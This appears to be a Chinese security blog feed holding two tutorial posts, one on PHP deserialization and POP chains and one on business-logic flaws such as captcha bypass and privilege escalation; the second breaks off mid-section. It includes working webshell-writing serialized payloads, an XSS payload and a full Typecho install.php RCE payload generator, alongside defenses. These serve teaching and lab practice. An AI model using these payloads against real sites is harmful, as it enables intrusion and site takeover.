</span></span><span>}</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>$data</span><span><span> </span><span>=</span><span> </span></span><span>$_REQUEST</span><span>[</span><span>'data'</span><span>];</span></div></div><div><div><div>10</div></div><div><span>unserialize</span><span>(</span><span>$data</span><span>);</span></div></div><div><div><div>11</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>Payload 1（执行 phpinfo）：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>O:3:"Cat":1:{s:4:"name";s:10:"phpinfo();";}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>Payload 2（写 Webshell）：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>O:3:"Cat":1:{s:4:"name";s:61:"file_put_contents('shell.php','&lt;?php eval($_REQUEST[6]);?&gt;');";}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.5 Demo 4：Pikachu 靶场<a href="#55-demo-4pikachu-靶场"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>class</span><span> </span><span>S</span><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>var</span><span> </span><span>$test</span><span><span> </span><span>=</span><span> </span></span><span>"pikachu"</span><span>;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>function</span><span> </span><span>__construct</span><span>(){</span></div></div><div><div><div>5</div></div><div><span>        </span><span>echo</span><span> </span><span>$this</span><span>-&gt;</span><span>test</span><span>;</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>if</span><span>(</span><span>isset</span><span>(</span><span>$_POST</span><span>[</span><span>'o'</span><span>])){</span></div></div><div><div><div>10</div></div><div><span>    </span><span>$s</span><span><span> </span><span>=</span><span> </span></span><span>$_POST</span><span>[</span><span>'o'</span><span>];</span></div></div><div><div><div>11</div></div><div><span>    </span><span>$unser</span><span><span> </span><span>=</span><span> </span></span><span>unserialize</span><span>(</span><span>$s</span><span>);</span></div></div><div><div><div>12</div></div><div><span>    </span><span>echo</span><span> </span><span>$unser</span><span>-&gt;</span><span>test</span><span>;</span></div></div><div><div><div>13</div></div><div><span>}</span></div></div><div><div><div>14</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>Payload：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>O:1:"S":1:{s:4:"test";s:29:"&lt;script&gt;alert('gxa')&lt;/script&gt;";}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.6 Demo 5：CTF 靶场（利用 __toString 读取文件）<a href="#56-demo-5ctf-靶场利用-__tostring-读取文件"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>class</span><span> </span><span>Readme</span><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>public</span><span> </span><span>$source</span><span>;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__toString</span><span>() {</span></div></div><div><div><div>5</div></div><div><span>        </span><span>return</span><span> </span><span>highlight_file</span><span>(</span><span>'Readme.txt'</span><span><span>,</span><span> </span></span><span>true</span><span>) </span><span>.</span><span> </span><span>highlight_file</span><span>(</span><span>$this</span><span>-&gt;</span><span>source</span><span><span>,</span><span> </span></span><span>true</span><span>);</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>// 判断逻辑：从 Cookie 读取序列化数据并反序列化</span></div></div><div><div><div>10</div></div><div><span>if</span><span>(</span><span>isset</span><span>(</span><span>$_COOKIE</span><span>[</span><span>'todos'</span><span>])){</span></div></div><div><div><div>11</div></div><div><span>    </span><span>$c</span><span><span> </span><span>=</span><span> </span></span><span>$_COOKIE</span><span>[</span><span>'todos'</span><span>];</span></div></div><div><div><div>12</div></div><div><span>    </span><span>$h</span><span><span> </span><span>=</span><span> </span></span><span>substr</span><span>(</span><span>$c</span><span><span>,</span><span> </span></span><span>0</span><span><span>,</span><span> </span></span><span>32</span><span>);</span></div></div><div><div><div>13</div></div><div><span>    </span><span>$m</span><span><span> </span><span>=</span><span> </span></span><span>substr</span><span>(</span><span>$c</span><span><span>,</span><span> </span></span><span>32</span><span>);</span></div></div><div><div><div>14</div></div><div><span>    </span><span>if</span><span>(</span><span>md5</span><span>(</span><span>$m</span><span><span>) </span><span>==</span><span> </span></span><span>$h</span><span>){</span></div></div><div><div><div>15</div></div><div><span>        </span><span>$todos</span><span><span> </span><span>=</span><span> </span></span><span>unserialize</span><span>(</span><span>$m</span><span>);</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>17</div></div><div><span>}</span></div></div><div><div><div>18</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><strong>Payload 构造：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>class</span><span> </span><span>Readme</span><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>public</span><span> </span><span>$source</span><span><span> </span><span>=</span><span> </span></span><span>'flag.php'</span><span>;</span></div></div><div><div><div>4</div></div><div><span>    </span><span>public</span><span> </span><span>function</span><span> </span><span>__toString</span><span>() {</span></div></div><div><div><div>5</div></div><div><span>        </span><span>return</span><span> </span><span>highlight_file</span><span>(</span><span>$this</span><span>-&gt;</span><span>source</span><span><span>,</span><span> </span></span><span>true</span><span>);</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>$todos</span><span><span>[] </span><span>=</span><span> </span></span><span>new</span><span> </span><span>Readme</span><span>();</span></div></div><div><div><div>10</div></div><div><span>$m</span><span><span> </span><span>=</span><span> </span></span><span>serialize</span><span>(</span><span>$todos</span><span>);</span></div></div><div><div><div>11</div></div><div><span>$h</span><span><span> </span><span>=</span><span> </span></span><span>md5</span><span>(</span><span>$m</span><span>);</span></div></div><div><div><div>12</div></div><div><span>echo</span><span> </span><span>$h</span><span> </span><span>.</span><span> </span><span>urlencode</span><span>(</span><span>$m</span><span>);</span></div></div><div><div><div>13</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.7 Demo 6：复杂 POP 链（魔术方法链）<a href="#57-demo-6复杂-pop-链魔术方法链"><span>#</span></a></h3><p>利用多个魔术方法串联形成调用链：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>__destruct() → __toString() → __call() → __clone() → __isset() → __invoke() → 读取 flag</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>POP 链追踪：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Start::__destruct()</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>→ 将 $this-&gt;name 视为对象 → 触发 Sec::__toString()</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>→ Sec::$this-&gt;obj-&gt;check() → 触发 Easy::__call()</span></div></div><div><div><div>4</div></div><div><span><span>      </span></span><span>→ $this-&gt;cla = clone $var[0] → 触发 eeee::__clone()</span></div></div><div><div><div>5</div></div><div><span><span>        </span></span><span>→ isset($this-&gt;obj-&gt;cmd) → 触发 Start::__isset()</span></div></div><div><div><div>6</div></div><div><span><span>          </span></span><span>→ $func = $this-&gt;func; $func() → 触发 Sec::__invoke()</span></div></div><div><div><div>7</div></div><div><span><span>            </span></span><span>→ file_get_contents('/flag')</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>六、POP 链（Property-Oriented Programming）<a href="#六pop-链property-oriented-programming"><span>#</span></a></h2><p><strong>POP 链</strong>（面向属性编程）是指从现有运行环境中寻找一系列代码/方法调用，构成一组连续的调用链，从而实现攻击目的。</p><p><strong>概念类比：</strong></p>

<table><thead><tr><th>概念</th><th>说明</th></tr></thead><tbody><tr><td><strong>ROP</strong>（Return-Oriented Programming）</td><td>二进制漏洞利用中的<strong>返回导向编程</strong></td></tr><tr><td><strong>POP</strong>（Property-Oriented Programming）</td><td>反序列化漏洞中的<strong>属性导向编程</strong>（利用魔术方法串联）</td></tr></tbody></table><hr /></section>
<section><h2>七、Typecho 反序列化漏洞分析（实战案例）<a href="#七typecho-反序列化漏洞分析实战案例"><span>#</span></a></h2><section><h3>7.1 漏洞入口<a href="#71-漏洞入口"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>URL: http://www.typecho.com/install.php?finish=</span></div></div><div><div><div>2</div></div><div><span>请求头: Referer: http://www.typecho.com</span></div></div><div><div><div>3</div></div><div><span>请求体: __typecho_config=1111</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>7.2 POP 链<a href="#72-pop-链"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>install.php（finish 参数）</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>↓</span></div></div><div><div><div>3</div></div><div><span>Typecho_Cookie::get('__typecho_config')</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>↓</span></div></div><div><div><div>5</div></div><div><span>Typecho_Db::__construct($adapterName, $prefix)</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>↓（adapterName 指向 Typecho_Feed 对象）</span></div></div><div><div><div>7</div></div><div><span>Typecho_Feed::__toString()</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>↓（$this-&gt;item['author']-&gt;screenName）</span></div></div><div><div><div>9</div></div><div><span>Typecho_Request::__get('screenName')</span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>↓</span></div></div><div><div><div>11</div></div><div><span>Typecho_Request::get('screenName')</span></div></div><div><div><div>12</div></div><div><span><span>  </span></span><span>↓</span></div></div><div><div><div>13</div></div><div><span>Typecho_Request::_applyFilter($value)</span></div></div><div><div><div>14</div></div><div><span><span>  </span></span><span>↓（_filter = array('assert')）</span></div></div><div><div><div>15</div></div><div><span>assert('file_put_contents(...)') → RCE</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>7.3 Payload 构造<a href="#73-payload-构造"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>&lt;</span><span>?</span></span><span>php</span></div></div><div><div><div>2</div></div><div><span>class</span><span> </span><span>Typecho_Request</span><span> {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>private</span><span> </span><span>$_params</span><span><span> </span><span>=</span><span> </span></span><span>array</span><span>(</span></div></div><div><div><div>4</div></div><div><span>        </span><span>'screenName'</span><span> =&gt; </span><span>'die(file_put_contents("3.php", "&lt;?php eval(\$_REQUEST[6]); ?&gt;"))'</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>);</span></div></div><div><div><div>6</div></div><div><span>    </span><span>private</span><span> </span><span>$_filter</span><span><span> </span><span>=</span><span> </span></span><span>array</span><span>(</span><span>'assert'</span><span>);</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span>class</span><span> </span><span>Typecho_Feed</span><span> {</span></div></div><div><div><div>10</div></div><div><span>    </span><span>private</span><span> </span><span>$_type</span><span><span> </span><span>=</span><span> </span></span><span>'ATOM'</span><span>;</span></div></div><div><div><div>11</div></div><div><span>    </span><span>private</span><span> </span><span>$_items</span><span><span> </span><span>=</span><span> </span></span><span>array</span><span>(</span></div></div><div><div><div>12</div></div><div><span>        </span><span>array</span><span>(</span></div></div><div><div><div>13</div></div><div><span>            </span><span>'category'</span><span> =&gt; </span><span>array</span><span>(</span><span>new</span><span> </span><span>Typecho_Request</span><span>()),</span></div></div><div><div><div>14</div></div><div><span>            </span><span>'author'</span><span> =&gt; </span><span>new</span><span> </span><span>Typecho_Request</span><span>()</span></div></div><div><div><div>15</div></div><div><span><span>        </span></span><span>)</span></div></div><div><div><div>16</div></div><div><span><span>    </span></span><span>);</span></div></div><div><div><div>17</div></div><div><span>}</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span>$request</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>Typecho_Request</span><span>();</span></div></div><div><div><div>20</div></div><div><span>$feed</span><span><span> </span><span>=</span><span> </span></span><span>new</span><span> </span><span>Typecho_Feed</span><span>();</span></div></div><div><div><div>21</div></div><div>
</div></div><div><div><div>22</div></div><div><span>$config</span><span><span> </span><span>=</span><span> </span></span><span>array</span><span>(</span></div></div><div><div><div>23</div></div><div><span>    </span><span>'adapter'</span><span> =&gt; </span><span>$feed</span><span>,</span></div></div><div><div><div>24</div></div><div><span>    </span><span>'prefix'</span><span> =&gt; </span><span>''</span></div></div><div><div><div>25</div></div><div><span>);</span></div></div><div><div><div>26</div></div><div>
</div></div><div><div><div>27</div></div><div><span>$payload</span><span><span> </span><span>=</span><span> </span></span><span>base64_encode</span><span>(</span><span>serialize</span><span>(</span><span>$config</span><span>));</span></div></div><div><div><div>28</div></div><div><span>echo</span><span> </span><span>$payload</span><span>;</span></div></div><div><div><div>29</div></div><div><span><span>?</span><span>&gt;</span></span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><hr /></section></section>
<section><h2>八、常见反序列化漏洞（Java 生态）<a href="#八常见反序列化漏洞java-生态"><span>#</span></a></h2>

<table><thead><tr><th>漏洞</th><th>说明</th></tr></thead><tbody><tr><td><strong>Log4j2</strong></td><td>核弹级漏洞（JNDI 注入）</td></tr><tr><td><strong>FastJSON</strong></td><td>反序列化漏洞</td></tr><tr><td><strong>WebLogic</strong></td><td>反序列化漏洞</td></tr><tr><td><strong>Shiro</strong></td><td>RememberMe 反序列化漏洞</td></tr></tbody></table><hr /></section>
<section><h2>九、反序列化漏洞防御<a href="#九反序列化漏洞防御"><span>#</span></a></h2>

<table><thead><tr><th>措施</th><th>说明</th></tr></thead><tbody><tr><td><strong>严格校验</strong></td><td>对传入 <code>unserialize()</code> 的数据进行严格校验</td></tr><tr><td><strong>白名单</strong></td><td>只允许反序列化特定的类</td></tr><tr><td><strong>禁用危险函数</strong></td><td>如 <code>eval()</code>、<code>assert()</code>、<code>system()</code> 等</td></tr><tr><td><strong>使用安全替代方案</strong></td><td>如 JSON 序列化（<code>json_encode</code>/<code>json_decode</code>）</td></tr><tr><td><strong>签名验证</strong></td><td>对序列化数据添加签名，防止篡改</td></tr></tbody></table><hr /></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>序列化格式<a href="#序列化格式"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>O:类名长度:"类名":属性数:{属性1;属性2;...}</span></div></div><div><div><div>2</div></div><div><span>s:长度:"值"; i:数字; b:布尔; a:数组; N:NULL</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>常见 POP 链入口<a href="#常见-pop-链入口"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>__destruct</span><span>()   </span><span>// 对象销毁 → 最常用的入口</span></div></div><div><div><div>2</div></div><div><span>__wakeup</span><span>()     </span><span>// 反序列化时自动触发</span></div></div><div><div><div>3</div></div><div><span>__toString</span><span>()   </span><span>// 对象被当字符串使用</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>漏洞审计要点<a href="#漏洞审计要点"><span>#</span></a></h3><ol>
<li>搜索 <code>unserialize(</code></li>
<li>追踪参数来源（GET/POST/COOKIE/文件）</li>
<li>查找可利用的魔术方法</li>
<li>构建 POP 链</li>
</ol></section><section><h3>常用 Payload<a href="#常用-payload"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// 执行 phpinfo</span></div></div><div><div><div>2</div></div><div><span><span>O</span><span>:</span></span><span>3</span><span>:</span><span>"Cat"</span><span>:</span><span>1</span><span>:{</span><span>s</span><span>:</span><span>4</span><span>:</span><span>"name"</span><span>;</span><span>s</span><span>:</span><span>10</span><span>:</span><span>"phpinfo();"</span><span>;}</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>// 写 Webshell</span></div></div><div><div><div>5</div></div><div><span><span>O</span><span>:</span></span><span>3</span><span>:</span><span>"Cat"</span><span>:</span><span>1</span><span>:{</span><span>s</span><span>:</span><span>4</span><span>:</span><span>"name"</span><span>;</span><span>s</span><span>:</span><span>61</span><span>:</span><span>"file_put_contents('shell.php','&lt;?php eval(</span><span>$_REQUEST</span><span>[6]);?&gt;');"</span><span>;}</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>// XSS</span></div></div><div><div><div>8</div></div><div><span><span>O</span><span>:</span></span><span>3</span><span>:</span><span>"Cat"</span><span>:</span><span>1</span><span>:{</span><span>s</span><span>:</span><span>4</span><span>:</span><span>"name"</span><span>;</span><span>s</span><span>:</span><span>32</span><span>:</span><span>"&lt;img src='1' onerror='alert(1)'&gt;"</span><span>;}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/logic-vulnerability/</id>
      <title type="text">逻辑漏洞</title>
      <published>2026-09-25T15:01:00.000Z</published>
      <updated>2026-09-25T15:01:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/logic-vulnerability/"/>
      <summary type="text">越权、支付与验证码等业务逻辑漏洞的分类、挖掘思路与常见场景。</summary>
      <content type="html"><![CDATA[<section><h2>一、逻辑漏洞概述<a href="#一逻辑漏洞概述"><span>#</span></a></h2><section><h3>1.1 什么是逻辑漏洞？<a href="#11-什么是逻辑漏洞"><span>#</span></a></h3><p>逻辑漏洞是指<strong>业务逻辑层面的设计缺陷</strong>，属于”业务安全”范畴。与 SQL 注入、XSS 等技术型漏洞不同，逻辑漏洞是开发人员对业务规则理解不准确或设计不严谨导致的。</p></section><section><h3>1.2 逻辑漏洞分类<a href="#12-逻辑漏洞分类"><span>#</span></a></h3>

<table><thead><tr><th>类别</th><th>典型场景</th></tr></thead><tbody><tr><td>重装漏洞</td><td>CMS 重装页面可被访问，或结合任意文件删除</td></tr><tr><td>口令漏洞</td><td>弱口令、密码爆破</td></tr><tr><td>验证码漏洞</td><td>前端校验、重复使用、空值绕过</td></tr><tr><td>越权漏洞</td><td>水平越权、垂直越权</td></tr><tr><td>支付逻辑</td><td>修改金额、数量、顺序绕过</td></tr><tr><td>未授权访问</td><td>绕过认证直接访问资源</td></tr><tr><td>任意文件读写</td><td>目录穿越导致文件泄露或写入</td></tr></tbody></table><hr /></section></section>
<section><h2>二、重装漏洞<a href="#二重装漏洞"><span>#</span></a></h2><section><h3>2.1 原理<a href="#21-原理"><span>#</span></a></h3><p>安装时填写的配置被存入 PHP 文件中，导致可以注入 PHP 代码实现 RCE。</p></section><section><h3>2.2 利用条件<a href="#22-利用条件"><span>#</span></a></h3><ul>
<li>安装页面可被直接访问（未删除 <code>install</code> 目录）</li>
<li>配置参数写入文件时可被注入恶意代码</li>
<li>大部分情况需要<strong>任意文件删除</strong>配合（删除锁文件后重装）</li>
</ul></section><section><h3>2.3 挖掘方法<a href="#23-挖掘方法"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 直接访问 /install 或 /install.php</span></div></div><div><div><div>2</div></div><div><span>2. 如被限制，寻找任意文件删除漏洞（删除安装锁文件）</span></div></div><div><div><div>3</div></div><div><span>3. 重装并注入恶意配置</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>三、任意文件读写及目录穿越<a href="#三任意文件读写及目录穿越"><span>#</span></a></h2><section><h3>3.1 任意读取文件<a href="#31-任意读取文件"><span>#</span></a></h3><p><strong>可导致：</strong> 源代码泄露、配置文件读取、密码/密钥泄露</p><p><strong>挖掘方法：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 寻找文件读取功能点（预览、下载、包含）</span></div></div><div><div><div>2</div></div><div><span>2. 文件名参数是否可控，是否存在路径穿越</span></div></div><div><div><div>3</div></div><div><span>3. 使用 ../../../ 尝试读取敏感文件</span></div></div><div><div><div>4</div></div><div><span>4. 使用高亮插件/代码审计工具辅助挖掘</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.2 任意写入文件<a href="#32-任意写入文件"><span>#</span></a></h3><p><strong>可导致：</strong> Webshell 写入、配置文件篡改</p><p><strong>挖掘方法：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 寻找文件编辑功能点</span></div></div><div><div><div>2</div></div><div><span>2. 文件名参数是否可控制</span></div></div><div><div><div>3</div></div><div><span>3. 使用 ../ 进行目录穿越</span></div></div><div><div><div>4</div></div><div><span>4. 尝试写入 Webshell</span></div></div><div><div><div>5</div></div><div><span>5. SQLi 也可能导出 Webshell（如 INTO OUTFILE）</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.3 知名历史漏洞<a href="#33-知名历史漏洞"><span>#</span></a></h3>

<table><thead><tr><th>漏洞</th><th>编号</th><th>说明</th></tr></thead><tbody><tr><td>Tomcat PUT 任意写入</td><td>CVE-2017-12615</td><td>通过 PUT 方法上传 Webshell</td></tr><tr><td>WebLogic 任意文件上传</td><td>CVE-2018-2894</td><td>文件上传导致 RCE</td></tr><tr><td>FlowiseAI 任意文件写入</td><td>CVE-2025-26319</td><td>AI 工具链漏洞</td></tr></tbody></table><hr /></section></section>
<section><h2>四、口令漏洞<a href="#四口令漏洞"><span>#</span></a></h2>

<table><thead><tr><th>类型</th><th>说明</th></tr></thead><tbody><tr><td><strong>弱口令</strong></td><td>123456、admin、password 等常见密码</td></tr><tr><td><strong>密码爆破</strong></td><td>社工字典构建，使用 Burp Suite 爆破</td></tr><tr><td><strong>默认凭证</strong></td><td>系统默认账号密码未修改</td></tr><tr><td><strong>空密码</strong></td><td>密码字段为空可登录</td></tr></tbody></table><hr /></section>
<section><h2>五、验证码漏洞<a href="#五验证码漏洞"><span>#</span></a></h2><section><h3>5.1 验证码漏洞统计（乌云 63 个案例）<a href="#51-验证码漏洞统计乌云-63-个案例"><span>#</span></a></h3></section><section><h3>5.2 验证码漏洞分类<a href="#52-验证码漏洞分类"><span>#</span></a></h3>

<table><thead><tr><th>编号</th><th>漏洞类型</th><th>说明</th></tr></thead><tbody><tr><td>1</td><td><strong>前端验证无后端校验</strong></td><td>验证码只在前端校验，抓包后可直接爆破</td></tr><tr><td>2</td><td><strong>验证码形同虚设</strong></td><td>乱输验证码也能成功登录</td></tr><tr><td>3</td><td><strong>验证码可重复使用</strong></td><td>登录失败后验证码不变，同一验证码可多次使用</td></tr><tr><td>4</td><td><strong>验证码空值绕过</strong></td><td>删除验证码参数名即可绕过</td></tr><tr><td>5</td><td><strong>验证码干扰过低</strong></td><td>简单验证码可被脚本识别</td></tr><tr><td>6</td><td><strong>验证码在 HTML 源码输出</strong></td><td>验证码在源码中直接暴露</td></tr><tr><td>7</td><td><strong>验证码可控制</strong></td><td>验证码是 URL 参数，可被修改</td></tr><tr><td>8</td><td><strong>验证码有生成规则</strong></td><td>如时间戳后 N 位、rand() 可预测</td></tr><tr><td>9</td><td><strong>存在默认验证码</strong></td><td>如输入 <code>000000</code> 可绕过</td></tr><tr><td>10</td><td><strong>验证码在 Cookie 中</strong></td><td>Cookie 中存在验证码参数</td></tr><tr><td>11</td><td><strong>图片类型太少</strong></td><td>验证码图片数量有限，可制作特征库</td></tr></tbody></table></section><section><h3>5.3 挖掘方法<a href="#53-挖掘方法"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>┌─ 判断验证码是否后端校验 ─┐</span></div></div><div><div><div>2</div></div><div><span>│                          │</span></div></div><div><div><div>3</div></div><div><span>├── 否：直接抓包爆破       │</span></div></div><div><div><div>4</div></div><div><span>│                          │</span></div></div><div><div><div>5</div></div><div><span>├── 是：尝试以下方式       │</span></div></div><div><div><div>6</div></div><div><span>│   ├── 1. 删除变量参数对再爆破</span></div></div><div><div><div>7</div></div><div><span>│   ├── 2. 测试默认验证码（如 000000）</span></div></div><div><div><div>8</div></div><div><span>│   ├── 3. 找发送验证码包中的凭证</span></div></div><div><div><div>9</div></div><div><span>│   ├── 4. 响应包（Cookie/响应体）中找验证码</span></div></div><div><div><div>10</div></div><div><span>│   ├── 5. HTML源码/隐藏表单中找验证码</span></div></div><div><div><div>11</div></div><div><span>│   ├── 6. 简单验证码工具识别</span></div></div><div><div><div>12</div></div><div><span>│   ├── 7. 图片集数量少 → 制作特征库</span></div></div><div><div><div>13</div></div><div><span>│   ├── 8. 猜测验证码生成算法</span></div></div><div><div><div>14</div></div><div><span>│   │      └── 如时间戳后6位、md5()</span></div></div><div><div><div>15</div></div><div><span>│   │      └── 生成字典，在字典中查询验证码</span></div></div><div><div><div>16</div></div><div><span>│   └── 9. 爆破验证码</span></div></div><div><div><div>17</div></div><div><span>│          └── 绕过请求频繁限制：手机号后加空格等</span></div></div><div><div><div>18</div></div><div><span>│</span></div></div><div><div><div>19</div></div><div><span>└─ 任意密码重置</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>├── 未授权绕过：直接构造请求跳过中间步骤</span></div></div><div><div><div>21</div></div><div><span><span>    </span></span><span>├── 授权错误：替换身份 token 或 UID</span></div></div><div><div><div>22</div></div><div><span><span>    </span></span><span>└── 接收自己验证码，修改他人密码</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>5.4 验证码绕过脑图（核心）<a href="#54-验证码绕过脑图核心"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>                    </span></span><span>┌─ 验证码功能中的校验点</span></div></div><div><div><div>2</div></div><div><span><span>                    </span></span><span>│</span></div></div><div><div><div>3</div></div><div><span><span>         </span></span><span>┌──────────┼──────────┐</span></div></div><div><div><div>4</div></div><div><span><span>         </span></span><span>│          │          │</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>发送验证码    验证验证码  重置密码</span></div></div><div><div><div>6</div></div><div><span><span>         </span></span><span>│          │          │</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>凭证泄露     可预测/   未授权绕过</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>劫持        可绕过     授权错误</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.5 任意密码重置（账户劫持）<a href="#55-任意密码重置账户劫持"><span>#</span></a></h3>

<table><thead><tr><th>方式</th><th>说明</th></tr></thead><tbody><tr><td><strong>未授权绕过</strong></td><td>先走常规流程，发现规律后直接构造请求跳过中间步骤</td></tr><tr><td><strong>授权错误</strong></td><td>请求包中身份 token 有规律，替换其他用户 ID 或 token</td></tr></tbody></table><hr /></section></section>
<section><h2>六、越权漏洞<a href="#六越权漏洞"><span>#</span></a></h2><section><h3>6.1 分类<a href="#61-分类"><span>#</span></a></h3>

<table><thead><tr><th>类型</th><th>说明</th></tr></thead><tbody><tr><td><strong>水平越权</strong></td><td>普通用户以其他普通用户身份操作资源</td></tr><tr><td><strong>垂直越权</strong></td><td>普通用户以管理员身份操作资源</td></tr></tbody></table></section><section><h3>6.2 挖掘方法<a href="#62-挖掘方法"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 准备 2 个账号互相测试</span></div></div><div><div><div>2</div></div><div><span>2. 找认证参数（关键）</span></div></div><div><div><div>3</div></div><div><span><span>   </span></span><span>└── 每次请求服务器凭什么认为你是合法用户？</span></div></div><div><div><div>4</div></div><div><span>3. 修改关键参数为其他用户 ID 或管理员</span></div></div><div><div><div>5</div></div><div><span>4. 尝试越权访问</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>核心难点：</strong> 认证参数的生成原理 → 需要反复尝试和猜测，生成对应的其他用户信息。</p></section><section><h3>6.3 典型场景<a href="#63-典型场景"><span>#</span></a></h3><ul>
<li>查看/修改用户资料</li>
<li>查看/取消订单</li>
<li>添加/删除用户</li>
<li>查看/导出数据</li>
</ul></section><section><h3>6.4 靶场<a href="#64-靶场"><span>#</span></a></h3><ul>
<li><strong>Pikachu：</strong> 水平越权（查看其他用户信息）、垂直越权（普通用户添加用户）</li>
</ul><hr /></section></section>
<section><h2>七、支付逻辑漏洞<a href="#七支付逻辑漏洞"><span>#</span></a></h2><section><h3>7.1 边界值攻击<a href="#71-边界值攻击"><span>#</span></a></h3>

